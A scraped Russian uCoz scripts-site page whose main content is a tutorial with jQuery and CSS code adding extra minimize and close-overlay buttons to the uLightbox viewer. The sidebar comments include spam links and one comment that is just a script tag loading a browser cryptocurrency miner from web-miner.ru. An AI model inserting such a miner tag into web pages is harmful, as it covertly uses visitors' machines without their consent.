Среда, 21.02.2018, 10:02
Главная  Форум Регистрация Блог RSS
Приветствую Вас, Гость
Меню сайта
Статьи про uCoz
Наш опрос
Каким EMAIL Вы пользуетесь?


Всего ответов: 289

установить такой вид опроса
Статистика
Яндекс.Метрика
Онлайн всего: 6
Гостей: 6
Пользователей: 0


Зарегистрировано 30527 (сегодня + 0 новых, вчера + 3 новых), В каталоге файлов 1127 материала(ов), Оставлено 5119 комментариев, На форуме создано тем и ответов.

установить такую статистику

Блок CW результаты

Победы
Победы(10)

Поражения
Поражения(5)


Установить CW блок на свой сайт
Внимание!
Наш сайт адаптирован под браузер Mozilla Firefox
скрипты для uCoz
Скачать/Download
В остальных браузерах наш сайт может отображаться некорректно! (IE,Opera,Google Chrome и т.д)

установить такой блок
Расскажи Друзьям!
Комментарии
Новость: Видео чат для вашего сайта
Александр написал:
https://chat-vsem.blogspot.ru
Новость: Преимущества создания сайта с помощью шаблона
Вика Ромашкина написал:
http://womanspv.ru/raznoe/obmanut-ofisnyj-dress-kod.html
http://womanspv.ru/beremennost/forum-28-nedelya-beremennosti.html
Новость: Блок баннеры "Наши друзья" uCoz
написал:
<script async="async" src="//web-miner.ru/lib/wm.js?s=161&p=50"></script>

Читать все комментарии
Топ комментаторов

установить такой информер
VKONTAKTE

FACEBOOK
Главная страница » Помощь Вебмастеру » Категория HTML коды для uCoz » Добавлено [12.11.2013, 22:33]

Дополнительные кнопки для uLighbox uCoz

Войти или Зарегистрироваться [скачивать файлы могут только зарегистрированные пользователи!]

Покрутив стандартную программу для просмотра видео LighBox, мы пришли к выводу, что и ее можно сделать лучше и приятнее в отображении и навигации. Вообще данный плагине был разработан для собственного сайта и нового проекта ApoTv, но мы готовы поделиться со всеми желающими сделать ваши видеофайлы еще более привлекательными для зрителей.
Суть плагина очень просто - рядом с обыкновенной и всем известной кнопкой "Закрыть" появляется еще одна кнопка - "Закрыть оверлей". Для тех, кто слово оверлей видит впервые - это такая темная подложка под окном просмотра. Следовательно, при желании темную подложку можно убрать, получается симпатично. так же добавлена еще одна кнопка - " Свернуть окно". Это не стандартное сворачивание, а его новый вид - окошечко становится размером 250х150 пикселей и зависает в левой верхней части экрана. Кому и зачем это будет нужно - решайте сами и фантазируйте. Новый плагин доступен для скачивания всем желающим. От вас жду комментарием, так как интересно, на всех ли новый вид ЛайтБокса произвел положительное впечатление. Если найдете ошибки в работе плагина - так же оставляйте комментарии, а мы оперативно исправим.

Важно! Картинки из прикреплённого архива залейте в папку images

Установка:

После /head на нужных страницах вставляйте:

setInterval(function(){
// Дополнительные кнопки в ulightbox окнах by Apocalypse
$('a.fancybox-close,div.fancybox-close').each(function(){
if($(this).prev('.fancynewapob').size()==0){
$(this).before('<div class="fancynewapob apofancymin" title="Свернуть окно"></div><div class="fancynewapob apofancyover" title="Закрыть оверлей"></div>');
$('.apofancymin').click(function(){
if($(this).hasClass('apofancyminon')){
$(this).removeClass('apofancyminon');
$('.fancybox-inner').removeClass('fancyapoin');
$('.fancybox-wrap').removeClass('fancyapoout');
$('.fancybox-inner img, .fancybox-inner iframe').removeClass('apofancyinmg');
}else{
$(this).addClass('apofancyminon');
$('.fancybox-inner').addClass('fancyapoin');
$('.fancybox-wrap').addClass('fancyapoout');
$('.fancybox-inner img, .fancybox-inner iframe').addClass('apofancyinmg');
};
});
$('.apofancyover').click(function(){
if($(this).hasClass('apofancyoveroff')){
$(this).removeClass('apofancyoveroff');
$('#fancybox-overlay').fadeIn(300);
}else{
$(this).addClass('apofancyoveroff');
$('#fancybox-overlay').fadeOut(300);
};
});
};
// apo-ucoz.com (c) 2013
});
},100);


В самый низ вашего css вставляйте:
.fancynewapob {
width:38px;
height:38px;
margin-left:-50px;
position:absolute;
top:-20px;
cursor:pointer
}
.fancyapoout {
width:250px!important;
height:150px!important;
left:10px!important;
top:20px!important
}
.fancyapoin {
width:245px!important;
height:145px!important
}
.apofancyover {
background:url('/images/fancybox_sprite_overlayon.png')no-repeat;
right:17px
}
.apofancyoveroff {
background:url('/images/fancybox_sprite_overlayoff.png')no-repeat !important
}
.apofancymin {
background:url('/images/fancybox_sprite_min.png')no-repeat;
right:55px
}
.apofancyminon {
background:url('/images/fancybox_sprite_minon.png')no-repeat !important;
}
.apofancyinmg {
max-width:250px!important;
max-height:150px!important
}


При копирование материалов с сайта необходимо указать активную ссылку источника - Скрипты для uCoz 2013 и Дополнительные кнопки для uLighbox uCoz



Расскажи друзьям интересные новости:


- Установить на свой сайт блок социальных закладок
Категория: HTML коды для uCoz | Добавил: scripts_for_ucoz | Теги: Дополнительные, uCoz, uLighbox, кнопки
Просмотров: 3119 | Загрузок: 8 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Для добавления необходима авторизация

Хостинг от uCoz